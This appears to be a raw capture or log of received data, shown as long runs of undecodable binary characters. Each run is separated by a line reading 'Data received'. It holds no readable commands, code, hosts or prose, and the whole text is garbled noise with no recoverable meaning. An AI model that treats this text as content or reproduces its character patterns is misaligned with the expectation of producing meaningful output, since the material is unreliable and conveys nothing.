ÎÈçd¦M¸Mf=DÕ>û«OÌ$¤c<fcô²ah'¥Òm"Þ´Nóx?ïJêj§w¢\»¢>ôgÜwõJM®È¥\|Eð$«Q.\×¾æÆôÅ[/}gï¯8/÷ÈOpÄ¡Ç.Oæ\|#ÎKðËì^£»_1.ä"0«k¢áä£N4\SÖB HºN !ï5~6r³[°±¸á [Kø§jÊ=Vów¢ã)ÃäÁCÈ·ß n2²r$hûÓÀJîyb¬$¦¦\|Ê~X¾×Ú h¢-¢+JLOsÇ¨AyALv2[F· #Bk©«Ò¾ôâÃV÷gÎÏ¶â%µóûQ<U£¥×çÎtÍêAÄ±£¬¢iîÂä]äT¢ì°X¶^£RQÚBÕX¨:¾bç.^ê±+?¥KæG2wß\°,voóPÕb2"ÜêÜT,´Üµð©MÈÕU]ýüi»[3{9×£F±Ú´@øñÈ¹e ëtCqÀ2æÌðJ×vÛ.Òû-V½Üæ 52C¾SÉ¢É}aSzvQ 4´%ò°4x¯pÌ«làÈWôBÄ8ºÛ¼íÔg!á£øêáÉ·ÜYÜÛrqÏÒìí=¬Ç)ØmáU
Data received	'¨o>fùG4öh×e3Ý¸bÌáÀ²hN=¢à$´Gw Ø'â×>~÷Ó\?XúÛ'¹6Ó 4~ÚÄÏÉx¿´£æÊ)âC¨èÈià¸½1{Ð1îäõL±å´uoA÷,J BÐ hÉ5tºÝÔèO®ûó8¾\Ç¯ÀNiuËÀý¿Ê²,AØ^éH6.NÑbòJà1ðL!8},Ä§ôA×R9ÐÒ© ¿b[µåTjjdÛ]D³;ª- ´]öÜÿâå¯ïhtòDïtVmro7ªz·Wjµ¥Ö#°e&2ø± ù}u"øjw¤ÉæªV(U¡QÕmE¾o`P£jý\|6I±Ù¸Jøi\-ÊíÄÀÅè,dDè£FMVÑéX_s<VI.µ#ÄYôFâü½ÓÁµËÄf[¥dcÛZn¢öiÑ6ìOÝU¿V@~)îa¶ÈãèmØÁ?¯ÍvßImä}%kU !§T]yµ2ÿ}óeSiª´Ô).XºÀ·YÌAÀùDÜ <Õa><ÌÑq×ÈÓEXo(8+ssxgHèú'â%0wéH´k8Èa\Lt{"Æ½XzÅð.EVäJÄK¾ÿ«]aÛÆ«ÍAÕõ¼´Ç7áõcl$}ÿ»T>þïõ2HÞ©~è`îDQõÝ"O!UÙAÉ&³.µ:½P"«¿)tMv¨¦yßz9{ç+/.ÃY5}³ä¶©TRà¿ÚµaHÌ`S«y=ÂÆKËþ§DM;æa6,{f·4ý.BFß f¨R¼O¤Ýõ)FØùBDêvNÑHZ»pK)1×-Zôa.bëÎÑ¹éÉ±ÇµB`Û"Òo&ÛFYýÖ¢²íüJ.ã½¾×X$á®66¼Î[5ð-/2;G ñ6]>Øfy9ÍvÒÓÍp±óÄ@³»ÿõ` îÙkÔqª±°Ìåh¦åÀæòuÀk\|ÍdúiY`Ä1Ô½QÁE hm£öoÊo"s®ôë Ù[»²@ílãâ¹"ËÖ1ðí·¾lÛ¯mê'ØÙ!+=¬xãcJ"Ã¾ùñW[Ø7èRÈTáÄÚA¤³éx#é=än=×`(Ñ]ÓáÅ6¸) îEòçO¯êuNRMºàükqÀò¬B ¯¡ÿjIR¨ôp%¢Ñ\|.VJåý·:Àí/3²ðNÁQÙmHz0¶31©{O×òjäMÎBEkU¹#[_²ãVë'¤fQ' ÃÐU?7Æê÷UÖ¡å:Ð^Éêfi3=]Þ¦Ä¨ørå{¿Ð Æÿ}]ÛêåO«x> K·í¹:;È&äOd#]ÜgÚÉìÙÅêæ8\YjMàUÕ0ßu%d^ºÐ ¯ I¾Kr_ã7ÀúqCD´£ 0"%¯øú¦áªJ(ÎÌ ûW=\|¡»¤1Ï1V2ªàÿÜ¹ üàLòº+Õ T¬âTlªÑ·(ymr1^f¬D&Ï7<.$EÙã¤»<Í0«ý¡t& Y =<GÍÄBu%ûUîíFóÝç#AÙÆ¢Ì3û
Data received	ü9ìf%]hm¯(M!Z 'E/¤K)V¿#FùIÏ@!ñ½·Ø¤åªþË©ä#Ð2í8¼ i`3qör§Ê'±Ð¤ÕB)½oppã`µ&ä¾³-ìq =¦I:i¿ÉJaôFÓv1ü¨oãæêAôÀBHô²sÈD·]ßmJ9Öëÿl¸Á7Zl·ªº ²(ù Ë2^OúW.ÞAÝ¾ó{¿Ù;t[1Ù§Áã`5¸þD[#ÇE¥ß÷Ýuk+ÐÇ >ßBõËmjÎë<d&ÝèrB×æ©eþ±ÉÎºÚÍã·ç¤#FhÙswÌÓ;á"úIý¹UÊ®Óß¡êÁ°F a!ãqSakBkÖÀc¿·Fº@ÊS S§ ôýî×ûzþmFøcã\10ðÞ.2¾ÎPI7bKòº%íðWuWúZsBnûeõÖ~BþF®7:¹D:ëlÈL+4)9¢xGÃÃcÊÓq[ÝóQÎ>³ÝÑíMÒøó9v-ióÏh¹RøB~i\t/®:xÄNÇP!,FKbZ19XÍ£¦ª!½·qxGGI{gèVJÛ½«jÛéóAj6ì´kãDÕ$e@÷SÐìåT¶ÛTäFÆ±ÏÌv£ô£+!Öñö¤ö§Y0ÙÀÆ0!>Ö¬Ú÷Ë®Æ^ úóÄä$]<eUX9gö)Zö·ÙEqåF1RWI D¡@Ä§E]¿Ïfd_ ^âf¨'>0¬vñD]qs¨ñlY+ÔNé]_Û8ÖÖÔ0ÎÐ«?$i«9à~a ä?§Ü Ý&Ê.O;ÆèWÞs%ø;a'(.Ï#«zQKA=Æ]½NÍ:tÌ¹b÷FÙø¶®_¤õÔãµVQÔs`~ûþé3.L0>ðDrÕ6À]EJ'ð0µ¨ô,¡sÔÒ0¦<$~ÇØ³KMÑ«w:½×Á.6%ÓÑ¸ÿDF?î´í\AÒB{e7<ëÄd.adÄDaüð½"QÐÖ«Fá þüÊó!Ø}Èâ¯ÿ×0ÌXùÉºþúa/4DæïÓ-/$2\Ã¬©k5v©ëJCWt¶Ü1Ã¡¦ BÊ'q½E±¸}ÝrCJSúîájXå°Ç BW:ÆFM«Ü(v:3\|©1kÜø Ã,1ïqÄ¶Ñ ºI].dÿ"çoíÍ,\AÚ½i+<âc²ÖÄ¶:kC\|#<\|¢Ò QG§2Î¡Ä¿/ üi°À/ç-_ç±ôr¤D §u¬¹Ã¹¤+þÛ´¿û° xCÉ 3ÎÀ ïWB»Î\\Uðt[4_?Ôa;T¨zaÞªÃ(Ùlh:là`ïäjÿùà³½bIÊôàæAëÊ¶%{`û%H/Wp=tqÅ[ÀØ¤9§{ÍØo=qÀ½©ü¹<£NÑô%§ÔNÀnMÀÙÓÙCâGçùx²¿R5.´5µd·H2ÑÁa~Nî(¶AyæqÐ×ýtÙ¿ò»#þ-5éï`öÒs¹Àï8VNãõØ3ñ²ë4¾(·Vc:¨ºM£ÜùµÏ07¾À"+0ØÕ`uÝ
Data received	.Þz<³)©ÄÜúz>æZ)½0êYù#IøeÐKÆÿ 2ÔYkd,ówh&°cí Dßð¨nãOËÝ£³àºG,-ÃRGNÙ8ö" Dñ¶è?ÞÚ:Êò\IÎd¨ûv¹^@éQÍ0á.×ë·(4Ð(¯&5ÈÊqæÕ®$³ =qÈÖÈªÉÃôgCGøå\|Êþi}ÛøOf w8<ZbösÿÉâ¸«º[Ý(¡?5ÌÍV(©Ï[´ï#.Üh¨XççFlË®Ú³Ë`¦¿è=E¹ê©\|¶& ¸Âø>¦LNoF&L«¤agI©AAoAòÜTèÊ#¯úÛkÑøø &ùîq ¥$\|þ¬üòåQ}DwòF,[ »¯âW«~#²\|º5á^¼§ØC÷®ÁÇ6å)ºlCÔ-MÂÊË!"`iur< #X9jMÞä $\| XfYÉú¶ojåÈE<Uó :í{¸lÅø¢E.m¹-Ô%¥v\:RÜl1³õÞ"¬%®¼íÀH8Ú`äUóÖ6VnÁq.+ý&-¤8åw½Óò5.Ä?Ø¶?w íË¿ã&Äßµ¤H£ÍB©Á`6â²%BÈÙjä³¤-O4¹vÞ¶Æxð¶fº¥ÆöâX¦þi¥m×X0çH°W²ÖegiTì¨wW¶Ù+Ô®¨¢gHaÇ \|>Nç©Lóô]£³8Ý1u$x£Å6~JÙ4î]n;´DéoÓtzXäìW)Z~öÁaÖ\|lG5e^´ÝúQóL$H/]r[óºÏG9<ÿ¨´ªÝj2±OÁÅOñé4Ì:ÝtÙx<Î]îÐ}ÿ¬bø+¿.¥$ª¿3åñáW\Ì¿¿9 $\|¦Äj¢ùDÐêo¯ö]¢-"ÒØ¶J©vw&ü êtóMFÛ:Í!Èµ)I¦Ï+a#»é2·êÍ¯êK¡øèp×~¨î¤½KøòúG·Æ+g2ÆñÊ2M7ILÇÓñ§vpc-m9E®ÇÉÑ^ÝÔOA f£·WiBxõöÓùôèôH»IByµÜ×ë0¿»g2]ëNÅÃà«âu%p©Ö{+¸Az&.v>òr0ÔÙýP¯ 'J÷y³¬TuöjU$Þ:r[kà(»æ}Ø«Aù¼=ÂØüV¯ Ì)éTÜ÷Ó ÚwÛBé¶¿Ji¥ãTlK=á¯ #4Òª65£ÕT£Ò=}n9®gÜ;úZ(«¢¥Ü±½¶¸©Ø3ÌrªÉHÙ×òa9SÒÕ^òQ7j#o-ÌÃÒÉ]RóY!)É¢¸«a2ÿû¨fwáOèÔ+×NøxòÑ$ülwÌæÇu0 V¼ @ná°ÇR"Íò=ùøÉU¡aOSèÊM_s`}9\°¯ûCî2YÎ©9¥)\»ÄÑ¨jÝØp?ÝjP;¡!¼ }a=àÎ>ÂUK¬-%êNOå5Ór>«Ñ]¯Óýý¬YÔeOÅwútÍS!+©/üa&Ó
Data received	ÊÕ¢ûÚmHn{4Ä\jôàíKB§õÆv±]uúÏ¸sn´o9Û6ö¤üAñ·ÏæîÃO«ã)½ë²vÿ«¶fd\ Ûío¤èSõ¯¶öµ¯Ï^qJ=mØKá»äÕ} Q'/N[Á2jñ`÷ÿr«EÜ¸öêÞ5øô9»¹=T=u¨N¢>¢z?PÒ0®õÈ$R©.0ôÇöx1süq¼êðêO;"U5C¹êVÉoÓVVoEµè¤áý^iÔ+FlqgSvÏ±w«ÚFÃ¤×BÇÜÉ 'WÇ2æ{p1V¦l³¸è®>B«`Ê¦ZÍ±¥g¿oNì bÝ±QÍz¸ò¸lûj³VÃ«K^,15ÏÈëõÜÃýMñýÙä !ÿ«CáBÛeõ¦ýdÎoU=ºÓn«ûwÎ,B-d¤Ûn´84³º«Ëz»ÁjÚ©õé¸Áì, ÎU5òí`AkdÑ½Z~v+<Q÷lhSêÆÅê$qSæÄ+^_jW_qM¾w.?PZWÞ7¸jÈuo× 6ú¡>ï¥µ¶/@zøÝ5Hzßµ¡¡\|/m¸BÈYu! ±°¦zNpÁ÷ÏÕÄ¹ÒÀoi6{>¾½Øï§)5rãüKk÷2Do¾iÌ¬2ì§Dª¿¬W,q²g%¤Æ¡}ún= T»·6Ê×D ¼ÙÍgË<¥Yµ©0U´÷!½-ÿ>¤T«âdâøÃä&A;e×o¯Úõ¢ÃñWâ Ü-øýUNTJ¾ò Vìü¶j ªÈUÍ\|PJö¯\Ã½õogöWëXîµu¶¡?¾ÖFqâ+¢Êf·Êzµj~ôaÚ2]ß ¾äª´^XzO1¾41Eêoç±ÚÛço!uA±ß¾BÇT2E=ÐAS¸MÕXô_:¯`ç&dËMFÝ¹Ä_ßx\|P²ÕÃÃøêq¾ÿë1á\|AÅÝ]-·UÌ§ÜV¬R.ì8¬©'ø)éBÇ'MÇ{à¹GPüzfª"P'4Õ OïàÍéQBc©3MÑ=9ÈÉ°º'BÚeLØX½ e}þ¾ñ$ê§Ü·Ú/©-aCg(_ýú?peÎâÃ@õÓóÐN½²Ü\$"ùÄoò¤>}ÿØýÆªìâºúV©Ó»£Y 9>ø\ Ã§Å©ýCËw&iæb+îú';Âá0jËrküF$Tª`pþýv»öNèÆOl¯ø -¡ó´ÂrÖ)j¦Y*ü/ }ö'NM@âô~î[`]Õ]Y[1úÔ)W®s ¡ùÎ ¢Lü.¢ [B`ð6Øú2<Q ¶¢J¦Ù# -v> ¸7ä¬;3æ§:åvÎÏöÇ¹åSaiì°<®r^ó¶d£=©¸]ä#1\|Çú\FÔkó(YÔìîK¯÷ufÝÔVCíx²ímxpÃ¶\ç¸½ßî²¨Øß¤8NUùÅð]1@gl,Ä§ùüþûâ ¯ÈÉÌKüøÎÁvá4°lÄìï9$X\]lïÞq9Ôñ¤ ¦Ëg¶tw«&xMfñaÑÚwämjzº3+m¹VÂYüÞC¬Ñ.ofÑj¨°8l
Data received	×ß¤©¡ô¦y Òv'qýASIL)ÅÇ{!T05/°g¿°§§]²zôé@7øøÝq%{öÖQ ½rÓ1vçÕMç«NQDÒ Ýý2o?àrh´½òvÖ,>8m0y/q5 ^1í-ò,ÏAþo`X;©áChÖ½1À¥ØJ1.²aýUZ",0nÛy>=Ó¾Xgøú-¨Ìúö@ÁHHsf .oþ³xóµV R-VÑtv¢f$ÛõwJm}ZÍó¥ êdDBîJ¤5ð±µK eØÜÎSW×ýàp·Ô$£J+¶YúK{¦"I\ò;_¾£!§ñjBLñübáUþáN1ö«I7J-?òB2òÍ ¥\u ÚÛèr1«1ÅÕ&ëT/ )nè¬yG rú²p½\| ]dªiÛq`uZµ QÚ3#NÞNÂoN&` Ü¨å[ buýB¬¥ÒW}?M}Áú%ErI½øSbh¸%>Ç©K\íÑËy¤ê«1WÑ?j<L¾mÝt½rnSîÜ_pÔªwÅ5M<êÈGh8õí tú¦±cþ§ñCnh ²¼2Á\|Þ,bLøïH<G÷¹7¦Ö2RéDV)@ªºÂí\¸ÃÎq Læ0é Zâ@ÞY'ä÷y:iÔIWÓö[Ý&Òµ<¨æ÷L¶aíâ^ JYi×îÐVÿ}Êä²id¤lÑlùßâÝb# 73§éÏ¼Ý}ïtÓ¤£MtQ÷¢"£û;ÁÖ¨¥#[ ªß®ÞÈì½Û.Á7i8¿©³8¡L^£Ð#g¤ìã67ûÒï9Rjv\õ0=h1HKÃë4¼jlÜáÇSXDXîÂX\|¯@;ÒÏs®EìùñÝæØÒðNh%x{þÿä¦+P6,ôqér´ùR«(¿'ùNeÎ%ÆàÃ,÷]fóÏòÅ²¹v©â À/·î#µ6uG±BÓ1 Á¤¶ÿ¥vmFjo¢_GS¼Ò²48xðÞÂÇ5´qøgO vkºÚaU¸¡7Öþ^Õ¯Ð¿Ö¹¯ÍbDßEO\d%qíH¿e¢ùïåL?²¯¿qêàhµh+£W¨'8çJ¢1\|Ðþó/Í\Ý:Ä&KÔ&Õqî4ð8aÚ §Ñ¦Èé·ûâ'EaÉ0çñT$ÍL:îÊ+{nýr{0ÕyipV¯¾v!~îäy'¼Ý²Ú:eìè²(.iùRè´·Ï×$¡Õ´óí¨íúirþIç»È¶ù»obvé¿zÏØN©H,µªw¼^÷;á;ôå'ÈDwû/ÈÃ«ìîÒÔïÖÆÆ:Kë»ÑÃ½+¢¢'%Ãëã¹dEÜ¶¨Û<ùAp6`@WËâãl2ÓÛ](ZñmÈÈ@ywñ^J ÎOS´UU,r*CùöÕë6æ¿¶åÝ£Qt^«×5Á?;HâÔ'ôÉÎ¶0S!b{?Ë!@yuæÒÆ9yäCPnJ¾ Rø·JBþ"+HT)
Data received	©ÞA¥T¡6+Eþðudù¢Juø/jâÔÍTÖÜµXËTÈùS%b{SÄÄ¢ ôEï5DvjbÆÃSÁ²7V¢XÈ¶¸©t ÙVÿ»ÿl^ðp]ä 0\&BÐ±^_GÖÛÌ#&ÍEä»³¥å~´ÐR¯\|Fx¡]¸Ø±FÓ1ïðç¤ÞÞJ¥åé^¦ïKå#TÀÒ÷»w²ZúØoÜÆ£9yt0Ë®#ð~wÝSK¯ üÊ¼RÇh¥Ä.8¾/vùGø~k¯÷_?ÛNj.÷°¼Fñ h¥LCä,vf.Ý¦gIÃó}Vö×w¿_ifgÅH+¶ÂdÏfSµÝ3ã£[ÉYemkeë=·6W<ÐÅ<Ã¤VíäÂ{¢~?pa áªÜ\|0EÉÜÏCq¥`Æïúî¡z¶<üÏY¼Cq9ÖTú-4ü±[xR£â4zÚkÔø.k¼óQ0 ðQ¯ö¶÷\|é#b©3äô2¤{±j§µY4¢ÿ7-^ÕqYD~OÛ^YMâæfÏä¸É4 Ys¼ ÷-2-u/ÿ¶a¡'Õ ¡ÜàÝ#©)esäiàß¼[AUö%µ32® õ«¡ÆÀ/¨ É\MRù78òsLÙ#ØÒ´áù}å×òßoÝù^\|#Xê³=ZG¦²&¼ùt¥ÍÊÔy{qÓpÊÕù=Ãt»â¡É¢Ñ°VtL±k/¹$ÖÉ¥ Àwc¯Ê`¥â>T5yÞÚ?B^µ-é\"¤öVõqÏ¸@:ª ôT,ûûExÃÏÐ.»´2d¿Ä}Ç«e]MnûÍ3Ì¿àFà·GiL¤/ê²ÿe SnÈ²ïeâ½a!î]úùºY:ÏÖãfñiþÇ!xÏ6½ðxºÁub/GS\Jy)zêIçùQuÖ@^kaÒa°{ÍÁ#2wù$UÈ]ûõÕhæÉh_È ûª5ëeÖ)_uX,ÎpN°%BÕ»}íÎå\|?åbgvÏFÏúøx aè®LÖDí.^Y<Û^² s2OÑd¶ÐU@y¿$Õãþ5ó}¼ ½JôOðÅ B¾¬1ã`±ÂM·_åuÛ_N£-!U:D®3SÙïä0y«ÖcÜn×û&¡ZØwMO_á]¥CÒåc¸éßenê}±ä\|C0¾3rÖL'qJ"Ý´6«ÆûXæ;(ê£nðôNs¼±ªD>NÉ"ÐZô ºv{éG/ ¼æ ±óæÔ=`NW-D ¡>EöY½ÃïGzÆÐuxo7Öënr¬]q¨¿Q\|§[=öìy[ÄB=,;»»¸¨L¿+J²"¡°·Y©0@¾}áô&×@ü FÚqG[4ñå\¡ö)¡cÏïºu[j_dtÐàôWóÃøµM¬\|uÇí2üÇÒ¨¼_ ¡V)ë¸<8à\|È`{ÍWø6ÔµÁ!ìVáU(?Ôó µaÖVG>+ÑË à¯²'à÷ J¨Æe}6vu$i&á\d_HÍµ»Nj¹âÝ-î±¯2í6òà
Data received	GaQÅM tSØS ô=é+àc~rÊúÈã]Ý±U¢BZ.}/òba¯ó~y°E R´¨\|¯ÿ@CÊèOºßÍÉdç·ÉMaÃ`Ý$â§6èus)@Ôm®¹ß"¤·ÚÃp'yñõE ShÙÐ 4ã¡õÓI7z(þ~ùºzÕM4õOºñh+Diñ_0E .ÃANZ2 ©ïú\»TªPôcB¥ÎþvÒ$xôzUã° w¨¾\|Âºþ\|&òÿMÒÛÈñÓfYîy[½=±JK{¶`= sÈ®÷7uëU,f¥k9¨ëYÄ§Ñð+^8}Õ× ÁøÛH3ÒF.[ówýM³êÜÝÄ¯Ø8Ïü;pt(9w$>gØµ©i$; Ù²¢:ÖÿÎÁN·)£ ¾BE¸dq#Ï)¬aÕ<:WjÕgð2f¯·C'è»!@- }÷Wqë@l+ ^KWó&a\|jÛ È¡¦"3r?íX¨ö.ö"Ý=àvÆCeûbXzlÜÝåÃI§½SÒ=º' çÎpÖ½âA¯Úq®µVÏÏÝ¼«n·ÓS¨¥¾æËðUXîD)h!Xß^=Áçä«'ã2çöz¸ñA¼7ÈYþ5ï÷eÒaØÌÝF ¢£¼5Øü»cBí}[XA÷T5£]Cå¿ônU¿áÕ½Ü10Q²f{À`í5¢î\|JÜ(¡æ¦øhýP ÞW¤0ÀrÂá4ÏNÝýoÆçÀTCðÓ¹&ªéç÷ööXû]ôybÂAd^»àª«:(;³P®¹!ê'ÄákcX¬io¸mu)O0(û6x¯ùÆBæ.N!b÷É$?rÉÐaÊ¤©¬g;Å~){ÑqñÅÔ¡,dåMÂ9oïû)ëì· zñ0ÂcoQµS ®3¸°ôDe-ìëÉÃx½ãgK³]WÖÍ¶5£Å\²:¬zßUÕÒCNÀ£h¡à¾(mÕ/àyìÍ/¸bÝÊöÒñ9EcaÌ& ß3R%HIÄØ²×{À3ìrY©sÍ>O àönBáYg[xA^]÷8R©ÏêB(§³°81£¥ õ×y!\| üed'EÓy¶hÎój½48[s¶6ÖÙÛ¢=Q¢¸j¶drRß\»SýO!Òìû¡ëÍ¯ÕËR¦øñj5½× bÅyóÐc\|RÕs'óm¨\á³oï9Å4Ó}4T ;ßÐ'¨á\|t0¿z¸{>8D³¦.@% °Ãìÿ¶Ã¤Æø¹Óm² jø.nÌË¯ºÖ AÏlq³¥A£Ó¬ÎÐm£;âá5Ò.TØÓÚ¢u\þøVÍ(³ÁDéos d¨&¹ëzÉõ¬¾ßZüïÜä:Èøí0Fi:2¦, ªVÿ<ýjÄÄÉj= F#ÈXÔ£ËmF£õ¥Õ)JeFe6ÉgnÎ-+ñhé«ß\¬a¦ÔNHvG ¾ÉÉ@czbñqO_0[ãÈI£îÿs ±ìü&Àw¨BBeõ0¶Û+©·Ç
Data received	=KÜÁ«^]¯BèUâcI72«/lsùî¡QÂn!ÌZ6ißxðËÝ»8_Hàø#l¡&R&_{«^"æ"v(·Q,$6N¸ÓV9éåV3¸÷ÿ»F±T(wW%eªh/Ó_ÓÌ+¹.O[v]úNªý¢p×o¦Cú7Oÿ Èê.TìQ«iou\|a¬,½ÞjêG»Þmæa²l 1[_%yåËu¹ w[ø ¡ë¢pnqA¬É>Qg¹i_Ån¸Ê-aÜ¡MûXºù¤ËLx^"ÜÅDç@¬ÏÐ>Õ0 fQYJ+#!¿ï¼ET.2^ª¶îIÃ¢ÓÈàU³8½ÃxiÜr%ÊK"+/VÏ+;aé"ó¢ê¥?¢ÊÞ{Pâ43vÓz?æþDµm)qË6Ói*Â£,{ÆP(Ð+¤\|ýØq©û<»Ã2çyº 5/p¯ýòk'sOPn6¹ÐÞ2C®5¯U¾ç,ôt{ùA)l±b¬7+ÔÐ0HeQMO×ÒõÉ+ÜØ×áÒímù4´Ë¯ó©çÖ¢¯T Z{\4÷®lzMóûOûã,ºDâ~%wVZ¥Ç6üå`P÷¦èn¡ÉÊÊ2öúìàÅ;r~WZ=â]zNÚÅ¦öXAdå¬y-j#3Ue\|ß÷ö7Âµ[/ 2ó9me¸Ðe4JâÁ¶âAJs¸¨ZËéïM%LE[ØµÈ³'Õ^ûE\&ö4Ê¦ý¨³_ø$#dÛ "æÉbÛàH½<õ½îM`\y9TC! oO©CUrÇÿ PZçëòZÛér{ÛÈ..l(§î=×Û´{O¿Zh¨ ì¶0¿Âª nâVóÿW+¨À9`ñ¦©ãòjµDw>pûr¾CkÏ`à"zJ¨å6ÖÈ&ò9WÔls4\|%L8¬¸u@IÜ¢{ÎJÀÙÏáô ³$´L$«í 2 b`öTi¨¦á¢mX¬J?0² ó ÞF¿Y¬ö ºT¶0SÊ°ÃlÒÌkô2jà`ÿ^>ïz5VyÔ ±ëÔm<}]ó`Íºr:bAö)\çãþdS @ä= ×ß®S<N×õ<Õ0'àE%Hãïª'´_&dxp±çç¾S{ÔÅÞD"î}°)úS^ëOv8Á¶þÒ× Ë /·Åmb¾¯fgû¥Ôü.¥¬jæÃ2R¶$2n úW®MXGÑ¾ªRss\|]ªQ¤d;E^eçA Ûß{N/öP4ÝÒÔoÌi1óäêýû¶MÔ.§ñnÍÀ7Ä$Y X¶~wûÒð}düï,];»iiE 8Ä¼VáwéòÈëOM,Ó½i}´né¶¬ArÐ«a9ûðüMM¨ fIyå{ÂÖþYÌ=ì ì}Ò Æºº=×\|x<59¨ëÆ¡Õ¹ºáæ`Çà¦D}cw&»{ÌÔJÜû0Ñ³0¾Õ£§³d=hA®ÐÓL Û~\|_ç¼}ä£Qönó Ø½Âw@2¸»MÑ Ü´^û«FßÕ¦L2½a¦ã¿.¬pÒùÏÓi§ÊEÝì
Data received	0(ÐKúÓAèloLRúB-K "uÊ<ôíF®:.6ÁÅ\|ìo`§ûTÊ4è½\>¹ ÍËÄ[Í'Óq"sZTéo¦Ò´SpÊ'ßú?]8G<Cªóè$Â¬/øE ØMüícOn%Ðü¯ñT,bT;WF¦zwý6 D¦º.yÞVÖTÞÄR¡I¦ocþr½P½¡×rf`÷@Óò¥æu}ÔxÊltp?}Ç¿V¬ÜÇ©FuÒàXÉ%QÑU[ÕúÓyBª CRÓ£=¬é¹N«´Ö©ÐGºÛ;JZ²xmµVÐãùÿÝVCNv$Ú\·.å5×}Çú"L£f>ö0u}·ò?õÎ).)Áo½a¼yvUDî k£¸ôÂ@\|Ñô4àWr[VN FÐr½D@§5©{S¨ÔÍýö{Ní1ob¥ô, Ù§ªaá õ'xZmæ×¯¡¦Ï0]Ç£PÊbT¦PVXÉÊ)¦x@¥@áýÚÐgò²b,Þ jëgmÎ£=ás²©Ù-Lªcî;fÈiá\LÙ§Êuçês/\#zç©Ábò]+³:o¼ Û@å:öÝ#ÑdFÓ¦;"óG=ÆêÕîw:cÚÌ6Ïæ½ äbeÅVëý>}lLë×£µ27¢âZþi¥$4O3xeÉìâ Mç¥»[ÂvîÅq^~2êÞæÕe]wµ~Õ`í)yO-ñcçö4Ét&¹üq©?ï2MN÷¿J.c×CÕ¿íÕH¡HÞ äÞdO¾×6êóNq\ò/ëóÓe`\M¥L¤ÜåÜqÊå@=¸íuù¾êÆ&æ_W£À È§¸ZüÙ2ÌNH¨6ÕmÑùL3ÃL6j$<ý%¤}Ü=Öºp[¼/Sn½~¬ô7.Ñ!q}Ðn¤¸)×%?WQÞ¶HúÞÁ¶SÒê¿Øò¹Ó®³§?®,\| õµFELFlãªÐµcÓ\i³iE§9H½'y\|~Î>ÿÓ-@èùÁDñD¯"B~6u;pZ±ÕÞxúÅ¥. fñ¾©·{ÉãJ1ÝEqF>nuÖÇ#ëÀPÍ×Ûý¢0oó8V"iB:@V:²Uü±cbÏ_8÷5D«e9ïSùñ=VØß¿9ö}ø`íjxÈÍÄmLð°ñ7;Nul¤î/¿ç· Ê8§4B¬0¥DN²~Æ10gCÎo/HYè&ª_(x¿ÄGqý¿6Þ%¶ \}Ø }ÕðÍÌ\çõ+/×â6a?CK6M®gÓ[yùn¥`å°¬ORÝ"#ït5dúVdýÀlÃci;Å§mÜ 3x<yÜ],W¥CmÚ?)Ò´FgíÇ, íÿYÑp°øJøV²#»B{]Ê5eVWZö6rï«;LUyè¡ZDy°á f2R?$ ªS¸/¢ùP8Û²ù0 ¹V>w©rÈüÓÈö44%Od_Æäß¿1Öêíüñ¹¥ô!GÙoa eí Ý@K¤>P¦8Â~s}\|þ+
Data received	¸!UFÃxo\|àö&ÿsÚõ[÷G±o{(ûzÐ?`.ÿÆUÕÀ^W±AtÌV&°Å+¼<Á¤7÷rûf_ª ¥ I\|ÞÜëxm?Ùy´ân¸Î[çÑQaHXÇ©ÌUÊÈN&Vý]p«_ùª6.åTÂ+=6ºþ6Ôq®}PfCÉ_V!Ñ2bA¶2çr¿Yixê~¨<á(ÞcyÈ£ Hª"×= J¼àit6>`4 ò$Ù¯âÀ\|ò¢Ôã(et_ö?zz©ølcÄÿGQn CÃ40Zò\|ºJM÷ý#OK<d®\åY{@Òâ1#`m0u9ô<¨ÅÃ ÕBE`/¾jTfä¬?ÜÒ46b¹t{×½ã¥ ËM%._£Ð;ßwzAÓí(§ ævë%÷l%tÔÞÓÞtCZêZñ£WÐîí¿íãåó·¾Y¸ý³áúËKå2 4°Þ¡w£h®°0¸Lb[]þÁFûP Àå{ÈIcÈXU.'öEjEUB6×·¤h (²«û¹zs³µ¿¶¬ëXHf«Kñ'Îp ÒêÝ½²æÉ{vµXïßíá@Ù¶ëú3G^j«/ÙJò!:½ûZÂ[=\hjÁ",£^¯zÔCà!Ð[OT<"Øp:ì¨pLOÑØEðÑÊ Ä¢!FÊÚ}RYÌÜå½MÜHøÂëù5îÍ)ÂzEøEa^êf¡ u¨©ùðk£,¬©ø²¶Ã_¼Ñ®N«0lUWÿÑ©UÅÃùÛûC³Ìð°ê>Â0új_ó/ñF)÷\ÞÀ¨Õ ò.Ñëói)b>¢ÈîÚ¹#úü\s¶Mí}qoy4üCão¢"5ÒHâMêÛ² éÍf?ÃWÕoô/IÛ¤^Ç3²ÀdãÛ:+&Á 7À(U.¿-FE¡½¯s{¹ 0ÌêÅù®Í½Îý«ÆÊçbD ÖIòm\òõDúÓ¦2k¬ imÉ©r!<çµ:Yuc+ª]×ÀÎHãàHu1ÑÂ6À×ý² D÷v\"iý âe<Á©ÁæOQ,¦~Óêr6ä¶¸~D©§YSÿåú%-~f[Q,·7ýShOEÒáªÍC¶ºUz5\A;û×ä×/«I}ÍWÛ³Å¦vÓ¹s¤ÅhUûÊ,U\|>8®Íà_<tÇýI4#ÏËÜA/6ïÓÊÒøÇß5$m ½¡g,byÈé&ÛÒÅ¶CP5Cw\{BW\|w}öpz§¬¯¡"O.û$° »V ÄÌ¬\|ÅVjñÃ%Òèûß(\|/à5zÿ:i È!« ;#s\|Øµ'W25ÕSwÐ©¯«ë/ÃÞýDËú¹p×,fôðL·ÊÊM¡Ö@}¹ÝÿÉÇqh×$Þ%['³$I#-: u?ßä vçö`ØÓf²]t/j)èÓ;GìO¾-4NªÆe,\Â¾ämTÍÔìá³ö}ºæùÓ<'ìÀÏ]Ë-ûoAÁ½Ç?+`Íjé¾nÓf
Data received	à
Data received	5ÎÐ²Ô[W]víËZ®¢vãj=ð=QL«j«+PÂÒ}!cîËgèKcY±ñé6Cº¾ÔÐ\|ùqyUâ· Æ×&,bÐyúXG>ë6Î¡\NxÊÿÚÜµE6ð£¢ØØrÅ,§¢)YÜTS´»J÷ È_r0ÓJ%Xgú}íÎÔÛÝ²ÝÉÂÚ("_e§PÑê4ÑOm¼"è1ØY¸Ï"eí¹UKØ9¸Û¨dynÑÛ'ÙÎn1V,×%¼Ýýpj/Ò
